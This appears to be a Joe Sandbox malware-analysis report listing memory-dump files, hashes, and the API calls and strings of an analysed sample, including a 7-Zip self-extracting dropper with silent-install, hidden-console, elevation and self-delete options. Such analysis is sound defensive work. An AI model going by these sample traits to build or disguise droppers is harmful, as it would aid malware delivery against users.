Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: de3d99041f8fca3c4fb565ab8c8449dd752391e515bc42d276bdccbc84231731
Instruction ID: 8da57345f1f7b3b5b39d529b84923fd2f88fccbffbf0c623b1fbeddddf434270
Opcode Fuzzy Hash: de3d99041f8fca3c4fb565ab8c8449dd752391e515bc42d276bdccbc84231731
Instruction Fuzzy Hash: A1E06839B0022467CB04BB64E849C9EB77B9EC1720704411AEA11A3380EB74EA01CAD4

Function 006134CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006134FC

Strings

pScheduler, xrefs: 006134F4
version, xrefs: 006134E1

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 605aaae708844df9f5ff927b2e53ea0f7694c835dd4d81cd76f5d28f04fa3e1d
Instruction ID: cd643f91646e87c4827d3e4b93e13e558585239292071d96e9b58b6f58be58cd
Opcode Fuzzy Hash: 605aaae708844df9f5ff927b2e53ea0f7694c835dd4d81cd76f5d28f04fa3e1d
Instruction Fuzzy Hash: 88E08634580218BACF25FB54D847ADC77AA9B10705F08C125B812252919BF597C8CA81

Analysis Process: a5bb0fe977.exePID: 3836, Parent PID: 2272COMMON

Executed Functions

Function 00405BFC Relevance: 276.8, APIs: 102, Strings: 55, Instructions: 2009stringkeyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F

Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB

Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6

Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8

wsprintfW.USER32 ref: 00405D45
_wtol.MSVCRT ref: 00405D7F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DCE
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DE2
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,0041EA30), ref: 00405DEA

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
_wtol.MSVCRT ref: 00405F89
??2@YAPAXI@Z.MSVCRT(00000010,00000000,0041EA30,0041EA30), ref: 00406118
??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,0041EA30,0041EA30), ref: 0040619B
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,0041EA30,0041EA30), ref: 00406211
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 0040622D
??3@YAXPAX@Z.MSVCRT(?,00000000,0041EA30,0041EA30), ref: 0040626B
wsprintfW.USER32 ref: 00406295
_wtol.MSVCRT ref: 004064B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00406587
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004065D4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 004065DC
??3@YAXPAX@Z.MSVCRT(?), ref: 004065FB
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406653
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 0040665B
GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040673B
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00406743
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040674B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00406753
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040675B
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 0040678A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00406792
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040679A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067A2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004067BE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004067C6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067CE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067D6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?,00000000,?,?), ref: 0040687F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,00000000,?,?), ref: 004068A4
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,00000000,?,?,?,00000000,?,?), ref: 00406916
CoInitialize.OLE32(00000000), ref: 00406937
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
_wtol.MSVCRT ref: 00406A68
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406A8B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406AC4
GetKeyState.USER32(00000010), ref: 00406B1B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406C59
??3@YAXPAX@Z.MSVCRT(?), ref: 00406C67
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C92
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C9A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406CB6
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00406CBE
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00406CEE
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D2E
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D97
??3@YAXPAX@Z.MSVCRT(?,?,0041E9E8), ref: 00406D9F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E64
??3@YAXPAX@Z.MSVCRT(00000001,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E6F
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F33
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F3B
_wtol.MSVCRT ref: 00406FCF
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 004071AE
??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,?,?,?,?,?,?), ref: 004071B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004071DA
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407223
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040722B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407233
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407239
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407249
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407251
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040726E
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407276
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040727E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407286
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040728E
??3@YAXPAX@Z.MSVCRT(?,?,?,0041E9E8), ref: 004072AF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041E9E8), ref: 004072B7
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004072C3

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 004072E4
??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 004072EC
??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 004072F4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 004072FA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00407302
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 0040730A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00407312
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407331
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00407339
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407341
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407347
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004073AA
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040746E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407476
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040748D
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004074A1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004074A9
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2

Strings

nowait, xrefs: 00406F68
BeginPrompt, xrefs: 00406AEB
Delete, xrefs: 0040738F
7zSfxVarCmdLine1, xrefs: 0040661A
7-Zip SFX, xrefs: 004074B6
amd64, xrefs: 0040704E
forcenowait, xrefs: 00406F8C
7zSfxVarCmdLine2, xrefs: 004062CD, 00406675
0A, xrefs: 0040603D
BeginPromptTimeout, xrefs: 004064E0, 00406A55
A, xrefs: 00406CDE
0A, xrefs: 00405E4F
sfxversion, xrefs: 00405DB3
7zSfxVarSystemPlatform, xrefs: 00405D07
x64, xrefs: 00407061
FinishMessage, xrefs: 004073D6
7zSfxVarCmdLine0, xrefs: 00405D12
bpt, xrefs: 004064C7
waitall, xrefs: 00406EA5
AutoInstall, xrefs: 00406B51, 00406BAC, 00406F13
ExecuteParameters, xrefs: 004070C7
GUIMode, xrefs: 004063D9
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 004069BD
pA, xrefs: 00405F55
Shortcut, xrefs: 00407367
$A, xrefs: 0040610C
MiscFlags, xrefs: 0040641F
setup.exe, xrefs: 00406E2C, 00406E31, 00406E8C
SetEnvironment, xrefs: 004067FC, 00406804, 0040688B
OverwriteMode, xrefs: 00406395
HelpText, xrefs: 004068CA
x86, xrefs: 00405CEF, 00407028
hidcon, xrefs: 00406F4A
7ZipSfx.%03x, xrefs: 00406CD1
sfxwaitall, xrefs: 00405DF8
sfxlang, xrefs: 00405D63
GUIFlags, xrefs: 004063FC
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 004074BB
7zSfxVarSystemLanguage, xrefs: 00405D52
sfxconfig, xrefs: 00405FEE, 004061C0
SelfDelete, xrefs: 0040645F, 0040743C
del, xrefs: 00407004
ExecuteFile, xrefs: 00406ADB, 00406BD7, 00406BE5
sfxelevation, xrefs: 00405E14, 004066DF
i386, xrefs: 0040703B
A, xrefs: 00406CFC
7zSfxString%d, xrefs: 0040628F
RunProgram, xrefs: 00406AE0, 00406BFB, 00406C09
" -, xrefs: 004066E4
7zSfxVarModulePlatform, xrefs: 00405CF4
SfxAuthor, xrefs: 0040696B
A, xrefs: 00406951
shc, xrefs: 00406FE4
InstallPath, xrefs: 00406941
0A, xrefs: 00406047

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$A$A$A
API String ID: 1301190434-1447873201
Opcode ID: 80ae3e338bd2c6bf34f732366e6f21bef20734440bf6bcc7836777fffa1ed4bd
Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
Opcode Fuzzy Hash: 80ae3e338bd2c6bf34f732366e6f21bef20734440bf6bcc7836777fffa1ed4bd
Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E

Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
GetProcAddress.KERNEL32(00000000), ref: 0040267C
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

Strings

kernel32, xrefs: 00402670
GetNativeSystemInfo, xrefs: 0040266B

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: AddressInfoLibraryLoadNativeProcSystem
String ID: GetNativeSystemInfo$kernel32
API String ID: 2103483237-3846845290
Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
